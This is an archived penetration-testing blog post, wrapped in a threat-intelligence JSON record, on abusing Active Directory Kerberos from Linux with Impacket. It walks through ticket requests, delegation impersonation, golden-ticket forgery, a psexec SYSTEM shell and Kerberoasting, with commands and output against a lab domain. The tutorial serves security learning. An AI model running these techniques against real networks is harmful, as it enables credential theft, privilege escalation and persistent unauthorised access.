{
	"id": "d3bf2eda-6f49-47d6-9e23-8e2a6fd92df3",
	"created_at": "2026-04-06T00:19:00.753072Z",
	"updated_at": "2026-04-10T03:21:25.303313Z",
	"deleted_at": null,
	"sha1_hash": "ecaa4353c20b9ab7f233375ef12111e4cbe64db3",
	"title": "Abusing Kerberos From Linux - An Overview of Available Tools - OnSecurity",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 104379,
	"plain_text": "Abusing Kerberos From Linux - An Overview of Available Tools -\r\nOnSecurity\r\nBy Calum Boal\r\nArchived: 2026-04-06 00:06:02 UTC\r\nAbusing Kerberos From Linux\r\nThis post aims to provide an overview of tooling available to perform common Kerberos abuse techniques from\r\nLinux. While this blog will not go into great detail about how the attacks which utilize these techniques work,\r\nreferences will be provided to high-quality blog posts detailing common Kerberos attacks.\r\nKerberos Overview\r\nBefore we jump into it, a brief preface shall be provided regarding the function of Kerberos within Active\r\nDirectory, and why it’s beneficial to be fluent in Kerberos manipulation when performing penetration tests.\r\nKerberos was first created at MIT and was later released as an open-source project towards the end of the 1980s.\r\nKerberos aimed to solve the problem of allowing users to authenticate with a multitude of services deployed\r\nacross many hosts, without the need to make the services themselves aware of the user’s individual credentials\r\nprior to authentication.\r\nMIT attempts to solve this problem by utilizing a centralized authentication daemon, which allows users to\r\nauthenticate with the Kerberos service, and request tickets to access services existing outwith the context of the\r\nKerberos service itself. These tickets would contain information identifying the user who requested the ticket and\r\nwould also be encrypted with the password of the service account.\r\nOnce the user has received the requested ticket, they send it on to the service (principals) they wish to access. As\r\nthe ticket is encrypted by the Kerberos service using the password of the requested service, the receiving service\r\ncan verify the authenticity of the ticket by successfully decrypting the ticket. Once decrypted, the receiving service\r\ncan verify that the identifying information within the decrypted ticket matches that of the user who sent the ticket.\r\nTo prevent users from having to manually authenticate with the Kerberos service every time they wish to access\r\nanother service, the Kerberos service issues a ticket to the user for the Kerberos service itself. The ticket obtained\r\nfrom this process is known as a ticket-granting ticket (TGT). The TGT is then used in place of the user’s\r\ncredentials when requesting tickets for other services from the Kerberos service. It is important to note that as\r\ntickets are encrypted with the password of the service they are valid for, TGT’s are encrypted with the password of\r\nthe Kerberos service itself (in AD, this is the krbtgt user’s NTLM hash).\r\nObviously the above is a great oversimplification of Kerberos version 4+, however, it conveys the core idea\r\nbehind Kerberos, without going into much of the complexity which was added to mitigate certain weaknesses. To\r\nread more about how Kerberos functions, I would recommend checking out the dialogue released by MIT\r\nhttps://www.onsecurity.io/blog/abusing-kerberos-from-linux/\r\nPage 1 of 7\n\nregarding the design of Kerberos. Having read several explanations of Kerberos, the MIT dialogue was the first to\r\nmake Kerberos click for me in a substantial, yet slightly cringe fashion.\r\nWithin Active Directory environments Kerberos, which can be found on port 88/TCP of Domain Controllers,\r\nallows users to authenticate with services such as CIFS (SMB shares), LDAP, Databases, etc. Additional Service\r\nPrincipal Names (SPN’s) can also be created for other services that may be accessed using Kerberos\r\nauthentication.\r\nWhy do we need to use Kerberos?\r\nNow, you might be thinking that since you need a user’s credentials (NTLM hash) to request a Kerberos ticket\r\nwithin Active Directory you might as well just use the credentials instead of tickets to authenticate with services\r\nsuch as SMB or LDAP. To a degree, you’d be correct in this assertion, using recovered credentials typically is\r\neasier than using tickets, however, tickets afford you certain benefits beyond those available by simply using\r\ncredentials; namely:\r\nSome services do not allow direct logon via NTLM authentication and may require tickets\r\nKerberos is required to abuse constrained/unconstrained delegation permissions\r\nEven if the user’s credentials are changed, the ticket will remain valid (until it expires)\r\nGolden tickets can be forged which essentially never expire and can be used to persist access to services\r\nTickets can also be forged which allow pivoting between domains in a forest with a trust relationship\r\nKerberoasting attacks can often yield high-privileged credentials\r\netc\r\nWorking with tickets\r\nRequesting tickets\r\nNow, onto the good stuff. First things first, we should know how to retrieve tickets for the services we wish to\r\naccess. Tickets can be easily requested using impacket‘s getST.py (get silver ticket) script. If impacket is\r\ninstalled properly, getST.py should be on your $PATH , if not, getST.py along with the other impacket scripts\r\nmentioned throughout this blog can be found in the examples folder of the impacket repository.\r\nBelow is an example of the syntax used to request a ticket for the user jane.adams of the veldt.com domain,\r\nfor the cifs (SMB) service (Principal) on the host DC01.VELDT.COM . The combination of the service (principal)\r\nand the host on which the service resides is referred to as the Service Principal Name (SPN).\r\n[h4x0r@mainframe ~]$ getST.py -dc-ip 192.168.100.5 -spn cifs/DC01.VELDT.COM 'VELDT.COM/jane.adams:Password_goes\r\nImpacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation\r\n[*] Getting TGT for user\r\n[*] Getting ST for user\r\n[*] Saving ticket in jane.adams.ccache\r\nUsing tickets\r\nhttps://www.onsecurity.io/blog/abusing-kerberos-from-linux/\r\nPage 2 of 7\n\nIn the above example, it is stated that the ticket has been saved to jane.adams.ccache . To inform other Impacket\r\ntools of where they can find the ticket to use, the KRB5CCNAME environment variable is set as follows:\r\n[h4x0r@mainframe ~]$ export KRB5CCNAME=jane.adams.ccache\r\nWith the KRB5CCNAME environment variable now set, we can use the obtained ticket to authenticate as the\r\npreviously specified user against the previously specified service.\r\nBefore we can successfully authenticate, we must make sure that we attempt to authenticate using information\r\nidentical to that which was used when requesting the ticket. For example, we must refer to the target host by its\r\nfully qualified domain name when specifying the target ( jane.adams@dc01.veldt.com ). If DNS is not correctly\r\nconfigured for the internal domain in use, it possible to verbosely state the IP address of the target ( -target-ip )\r\nand domain controller ( -dc-ip ). In many instances, the errors you encounter when trying to use Kerberos tickets\r\nfrom Linux will occur due to inconsistencies between information supplied when requesting, and using tickets.\r\nIn the example below, we use the previously retrieved Kerberos ticket to connect to DC01 using Impacket ‘s\r\nsmbclient.py script. Note the usage of -k , which specifies that Kerberos authentication should be used:\r\n[h4x0r@mainframe ~]$ smbclient.py jane.adams@DC01.VELDT.COM -k -no-pass\r\nImpacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation\r\nType help for list of command\r\n# shares\r\nADMIN$\r\nC$\r\nIPC$\r\nNETLOGON\r\nSYSVOL\r\n#\r\nImpersonation tickets\r\nIf you’re lucky, you may find yourself in a situation where you’ve compromised a host or account, with some\r\nform of delegation rights configured (constrained or unconstrained). Thus, allowing you to request Kerberos\r\ntickets which can be used to impersonate arbitrary users when authenticating against certain SPN’s (depending on\r\nthe delegation configuration).\r\nI won’t go into detail regarding the delegation process as it’s rather complex, however, I will refer you to the\r\nfollowing resources which cover abusing delegation in-depth:\r\nWagging the Dog\r\nS4U2Pwnage\r\nADSecurity’s blog\r\nhttps://www.onsecurity.io/blog/abusing-kerberos-from-linux/\r\nPage 3 of 7\n\nTo request a Kerberos ticket which allows us to exploit delegation configurations, we can once again use\r\nImpackets getST.py script, however, this time passing the -impersonate flag and specifying the user we wish\r\nto impersonate (any valid username):\r\n[h4x0r@mainframe ~]$ getST.py -spn HOST/SQL01.VELDT.COM 'VELDT.COM/IIS.Admin:Password_Goes_here' -impersonate A\r\nImpacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation\r\n[*] Getting TGT for user\r\n[*] Impersonating Administrator\r\n[*] Requesting S4U2self\r\n[*] Requesting S4U2Proxy\r\n[*] Saving ticket in Administrator.ccache\r\nNote that in the above example the supplied SPN must match one of the SPN’s the supplied account is authorized\r\nto perform delegation against.\r\nGolden tickets\r\nWho doesn’t love getting a Golden Ticket? I know I do, and what’s more, I love having the ability to create one\r\nwithout having to mess about with Mimikatz or other Windows tooling which is bound to get flagged by AV at\r\nsome point in your pen-testing endeavors. That’s why we’re covering requesting Golden Tickets using the tools\r\navailable within Impacket (I’m sure you’re noticing a pattern here).\r\nNow for those of you who are unaware of the concept of Golden Tickets, I shall provide a brief overview.\r\nRemember at the start of this blog when I described the need for Ticket Granting Tickets and highlighted the\r\nimportance of the fact they are encrypted with the krbtgt users NTLM hash? Well, the reason was that this is\r\nthe crux of Golden Ticket forgery. If we have access to the NTLM hash of the krbtgt user (i.e. dumped it from a\r\nDomain Controller), we can forge ourselves Ticket Granting Tickets for any SID we like, and encrypt it with the\r\nNTLM hash of the krbtgt user to cement its authenticity.\r\nYou may wonder what the point of forging a Golden Ticket is if you already have the level of access required to\r\ndump NTLM hashes from a Domain Controller, and that’s understandable. Thus, the following list highlights the\r\nbenefits of using Golden Tickets during engagements:\r\nGolden tickets can be used to escalate privileges between two domains with configured trust relationships\r\n(see The Trustpocalypse, How does SID filtering work?, and Kerberos Golden Tickets are Now More\r\nGolden)\r\nGolden Tickets will remain valid even if a users password expires or is changed\r\nThe only way to invalidate a Golden Ticket is to change the krbtgt users password twice\r\nSo, what do we need to forge Golden Tickets? As previously mentioned we need:\r\nNTLM hash of krbtgt user\r\nSID of target Domain\r\nhttps://www.onsecurity.io/blog/abusing-kerberos-from-linux/\r\nPage 4 of 7\n\nWe’ll assume you already have the NTLM hash of the krbtgt user, and just skip straight to obtaining the SIDs .\r\nTo retrieve the target Domains SID , the script lookupsid.py from Impacket can be used as follows, with the\r\ntarget host being the Domain Controller:\r\n[h4x0r@mainframe ~]$ lookupsid.py veldt.com/jane.adams:Password_Goes_here@192.168.100.5\r\nImpacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation\r\n[*] Brute forcing SIDs at 192.168.100.5\r\n[*] StringBinding ncacn_np:192.168.100.5[\\pipe\\lsarpc]\r\n[*] Domain SID is: S-1-5-21-3698971782-1394112190-1761101054\r\n498: VELDT\\Enterprise Read-only Domain Controllers (SidTypeGroup)\r\n500: VELDT\\Administrator (SidTypeUser)\r\n501: VELDT\\Guest (SidTypeUser)\r\n502: VELDT\\krbtgt (SidTypeUser)\r\n512: VELDT\\Domain Admins (SidTypeGroup)\r\n513: VELDT\\Domain Users (SidTypeGroup)\r\n514: VELDT\\Domain Guests (SidTypeGroup)\r\n515: VELDT\\Domain Computers (SidTypeGroup)\r\n516: VELDT\\Domain Controllers (SidTypeGroup)\r\n517: VELDT\\Cert Publishers (SidTypeAlias)\r\n518: VELDT\\Schema Admins (SidTypeGroup)\r\n519: VELDT\\Enterprise Admins (SidTypeGroup)\r\n520: VELDT\\Group Policy Creator Owners (SidTypeGroup)\r\nWith the domain SID retrieved from the above command output S-1-5-21-3698971782-1394112190-1761101054 ,\r\nwe can now use ticketer.py from Impacket to request a Golden Ticket. As Kerberos works with SIDs and\r\nnot SAM usernames, the supplied username can be anything we like, even if the user does not exist. By default,\r\nthe forged ticket will contain SIDs for the following groups (which can be referenced against the above output) –\r\n513, 512, 520, 518, 519. However, an alternative list of groups can be specified using -groups . Finally,\r\nadditional Domain SIDs can be specified using the -extra-sid flag, which is useful for pivoting across domain\r\ntrusts.\r\n[h4x0r@mainframe ~]$ ticketer.py -nthash $NT_HASH_ONLY -domain-sid S-1-5-21-3698971782-1394112190-1761101054 -\r\nImpacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation\r\n[*] Creating basic skeleton ticket and PAC Infos\r\n[*] Customizing ticket for VELDT.COM/h4x0r\r\n[*] PAC_LOGON_INFO\r\n[*] PAC_CLIENT_INFO_TYPE\r\n[*] EncTicketPart\r\n[*] EncAsRepPart\r\n[*] Signing/Encrypting final ticket\r\n[*] PAC_SERVER_CHECKSUM\r\n[*] PAC_PRIVSVR_CHECKSUM\r\n[*] EncTicketPart\r\nhttps://www.onsecurity.io/blog/abusing-kerberos-from-linux/\r\nPage 5 of 7\n\n[*] EncASRepPart\r\n[*] Saving ticket in h4x0r.ccache\r\nWe can then set the KRB5CCNAME environment variable as previously described:\r\n[h4x0r@mainframe ~]$ export KRB5CCNAME=h4x0r.ccache\r\nAnd then use Impackets psexec.py script to pop a shell as the non-existent user h4x0r , on any host in the\r\nDomain for which the SID was provided:\r\n[h4x0r@mainframe ~]$ psexec.py VELDT.COM/h4x0r@SQL01.VELDT.COM -k -no-pass -dc-ip 192.168.100.5 -target-ip 192\r\nImpacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation\r\n[*] Requesting shares on 192.168.100.16.....\r\n[*] Found writable share ADMIN$\r\n[*] Uploading file PBZpOwXM.exe\r\n[*] Opening SVCManager on 192.168.100.16.....\r\n[*] Creating service wssq on 192.168.100.16.....\r\n[*] Starting service wssq.....\r\n[!] Press help for extra shell commands\r\nMicrosoft Windows [Version 10.0.17763.737]\r\n(c) 2018 Microsoft Corporation. All rights reserved.\r\nC:\\Windows\\system32\u003ewhoami\r\nnt authority\\system\r\nKerberoasting\r\nAh Kerberoasting, what’s not to love? If that question is not perceived as rhetorical, I’ll provide a brief\r\nexplanation of why it should be.\r\nIn short, SPN’s in Active Directory are often tied to user accounts (as opposed to machine accounts) to allow\r\nservices such as Databases or Web Servers to access resources based upon permissions configured for Active\r\nDirectory users. Now, as we’ve mentioned, Kerberos tickets are encrypted with the NTLM hash of the SPN for\r\nwhich they are requested. Furthermore, the plaintext of the Kerberos ticket is known to the entity which requests\r\nit. As a result, it is possible to request Kerberos tickets for services that are configured with SPN’s tied to user\r\naccounts and perform a brute-force attack to figure out what password was used to encrypt the ticket.\r\nIn many instances, such as the one below, SPN’s will be tied to high-privilege (or more commonly over-privileged) Active Directory accounts. Typically this is due to SPN’s being automatically configured by\r\napplications to have Administrative permissions, or system administrators deploying services where the required\r\npermissions are unknown so they just give the service Administrator permissions.\r\nhttps://www.onsecurity.io/blog/abusing-kerberos-from-linux/\r\nPage 6 of 7\n\nBelow is an example of performing a Kerberoasting attack using Impackets GetUserSPNs.py script. The\r\nresulting Kerberos TGS’s can be cracked using either John The Ripper or Hashcat (mode 13100).\r\n[h4x0r@mainframe ~]$ GetUserSPNs.py -dc-ip 192.168.100.5 'VELDT.COM/jane.adams:Password_goes_here' -request\r\nImpacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation\r\nServicePrincipalName Name MemberOf PasswordLastSet LastLogon\r\n-------------------- --------- -------- -------------------------- --------------------------\r\nHTTP/IIS01.VELDT.COM IIS.Admin 2020-01-26 19:55:02.893201 2020-01-26 21:18:16.328180\r\n$krb5tgs$23$*IIS.Admin$VELDT.COM$HTTP/IIS01.VELDT.COM*$9ae7773caec31e3e4ce94afa33313e93$73272e7bb959ba7bc8cc1208\r\n...snipped...\r\nConclusion\r\nHopefully, this post has provided a decent overview of (ab)using Kerberos from Linux, and also demonstrated the\r\nreasons why you should do so.\r\nIf you’d like to play about with some of these techniques in a controlled environment, then I’d highly recommend\r\nthe Offshore Prolab on hackthebox or building your own AD lab as I did while writing this blog.\r\nIf you have any questions about Kerberos, lab building, or anything really feel free to give me a message on\r\nTwitter (@Calum Boal), or drop me an email at calum.boal@onsecuriy.co.uk.\r\nSource: https://www.onsecurity.io/blog/abusing-kerberos-from-linux/\r\nhttps://www.onsecurity.io/blog/abusing-kerberos-from-linux/\r\nPage 7 of 7",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://www.onsecurity.io/blog/abusing-kerberos-from-linux/"
	],
	"report_names": [
		"abusing-kerberos-from-linux"
	],
	"threat_actors": [],
	"ts_created_at": 1775434740,
	"ts_updated_at": 1775791285,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/ecaa4353c20b9ab7f233375ef12111e4cbe64db3.pdf",
		"text": "https://archive.orkl.eu/ecaa4353c20b9ab7f233375ef12111e4cbe64db3.txt",
		"img": "https://archive.orkl.eu/ecaa4353c20b9ab7f233375ef12111e4cbe64db3.jpg"
	}
}